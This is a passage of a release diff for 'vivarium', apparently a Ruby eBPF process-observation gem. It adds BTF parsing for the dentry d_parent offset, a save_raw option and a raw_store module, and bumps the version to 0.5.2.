+ in_dentry_struct = false
2124
+ d_parent_bits_offset = nil
2125
+
2126
+ raw.each_line do |line|
2127
+ if line =~ /^\[\d+\] STRUCT 'dentry' /
2128
+ in_dentry_struct = true
2129
+ next
2130
+ end
2131
+
2132
+ if in_dentry_struct && line.start_with?("[")
2133
+ break
2134
+ end
2135
+
2136
+ next unless in_dentry_struct
2137
+
2138
+ if (match = line.match(/'d_parent'.*bits_offset=(\d+)/))
2139
+ d_parent_bits_offset = Integer(match[1], 10)
2140
+ break
2141
+ end
2142
+ end
2143
+
2144
+ if d_parent_bits_offset
2145
+ if (d_parent_bits_offset % 8).positive?
2146
+ raise Error, "unsupported d_parent bits offset=#{d_parent_bits_offset}"
2147
+ end
2148
+
2149
+ if d_parent_bits_offset >= 1024
2150
+ warn "[vivariumd] suspicious d_parent offset=#{d_parent_bits_offset / 8}, fallback to offset=0"
2151
+ return 0
2152
+ end
2153
+
2154
+ return d_parent_bits_offset / 8
2155
+ end
2156
+
2157
+ warn "[vivariumd] could not find struct dentry::d_parent in BTF, fallback to offset=0"
2158
+ 0
2159
+ rescue Errno::ENOENT
2160
+ raise Error, "bpftool is required to resolve struct dentry::d_parent offset"
2161
+ end
2065
2162
  end
2066
2163
 
2067
2164
  class ObservationSession
@@ -2083,15 +2180,15 @@ module Vivarium
2083
2180
  end
2084
2181
  end
2085
2182
 
2086
- def self.observe(socket_path: self.socket_path, dest: $stdout, filter: nil, &block)
2183
+ def self.observe(socket_path: self.socket_path, dest: $stdout, filter: nil, save_raw: nil, &block)
2087
2184
  if block_given?
2088
- return scoped_observe(socket_path: socket_path, dest: dest, filter: filter, &block)
2185
+ return scoped_observe(socket_path: socket_path, dest: dest, filter: filter, save_raw: save_raw, &block)
2089
2186
  end
2090
2187
 
2091
- top_observe(socket_path: socket_path, dest: dest, filter: filter)
2188
+ top_observe(socket_path: socket_path, dest: dest, filter: filter, save_raw: save_raw)
2092
2189
  end
2093
2190
 
2094
- def self.top_observe(socket_path: self.socket_path, dest: $stdout, filter: nil)
2191
+ def self.top_observe(socket_path: self.socket_path, dest: $stdout, filter: nil, save_raw: nil)
2095
2192
  client = DaemonClient.new(socket_path: socket_path)
2096
2193
  pid = Process.pid
2097
2194
  main_tid = gettid
@@ -2101,7 +2198,8 @@ module Vivarium
2101
2198
  observer_pid: pid,
2102
2199
  main_tid: main_tid,
2103
2200
  filter: filter,
2104
- dest: dest
2201
+ dest: dest,
2202
+ save_raw: save_raw
2105
2203
  )
2106
2204
  correlator.start
2107
2205
  client.register(pid)
@@ -2116,7 +2214,7 @@ module Vivarium
2116
2214
  session
2117
2215
  end
2118
2216
 
2119
- def self.scoped_observe(socket_path: self.socket_path, dest:, filter: nil)
2217
+ def self.scoped_observe(socket_path: self.socket_path, dest:, filter: nil, save_raw: nil)
2120
2218
  client = DaemonClient.new(socket_path: socket_path)
2121
2219
  pid = Process.pid
2122
2220
  main_tid = gettid
@@ -2126,7 +2224,8 @@ module Vivarium
2126
2224
  observer_pid: pid,
2127
2225
  main_tid: main_tid,
2128
2226
  filter: filter,
2129
- dest: dest
2227
+ dest: dest,
2228
+ save_raw: save_raw
2130
2229
  )
2131
2230
  correlator.start
2132
2231
  client.register(pid)
@@ -2260,6 +2359,7 @@ end
2260
2359
 
2261
2360
  require_relative "vivarium/daemon_client"
2262
2361
  require_relative "vivarium/api_server"
2362
+ require_relative "vivarium/raw_store"
2263
2363
  require_relative "vivarium/correlator"
2264
2364
  require_relative "vivarium/display_filter"
2265
2365
  require_relative "vivarium/tree_renderer"
data/sig/vivarium.rbs CHANGED
@@ -69,6 +69,7 @@ module Vivarium
69
69
  def self.decode_file_symlink_payload: (String raw_payload) -> String
70
70
  def self.decode_file_hardlink_payload: (String raw_payload) -> String
71
71
  def self.decode_file_rename_payload: (String raw_payload) -> String
72
+ def self.decode_file_unlink_payload: (String raw_payload) -> String
72
73
  def self.decode_file_chmod_payload: (String raw_payload) -> String
73
74
  def self.decode_file_getdents_payload: (String raw_payload) -> String
74
75
  def self.render_event_payload: (Event event) -> String
metadata CHANGED
@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: vivarium
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.5.1
4
+ version: 0.5.2
5
5
  platform: ruby
6
6
  authors:
7
7
  - Uchio Kondo
@@ -61,6 +61,7 @@ executables:
61
61
  extensions: []
62
62
  extra_rdoc_files: []
63
63
  files:
64
+ - ARCHITECTURE.md
64
65
  - CONTEXT.md
65
66
  - LICENSE
66
67
  - README.md
@@ -68,6 +69,7 @@ files:
68
69
  - examples/box_demo.rb
69
70
  - examples/dlopen_demo.rb
70
71
  - examples/drop_demo.rb
72
+ - examples/dummy_post_demo.rb
71
73
  - examples/env_access_external_demo.rb
72
74
  - examples/env_access_ruby_demo.rb
73
75
  - examples/execve_demo.rb
@@ -75,6 +77,7 @@ files:
75
77
  - examples/network_client_demo.rb
76
78
  - examples/privilege_event_demo.rb
77
79
  - examples/raise_demo.rb
80
+ - examples/save_raw_demo.rb
78
81
  - examples/signal_kill_demo.rb
79
82
  - examples/ssl_write_demo.rb
80
83
  - examples/sudo_attempt_demo.rb
@@ -89,6 +92,7 @@ files:
89
92
  - lib/vivarium/daemon_client.rb
90
93
  - lib/vivarium/display_filter.rb
91
94
  - lib/vivarium/http_decoder.rb
95
+ - lib/vivarium/raw_store.rb
92
96
  - lib/vivarium/tree_renderer.rb
93
97
  - lib/vivarium/version.rb
94
98
  - logo-simple.png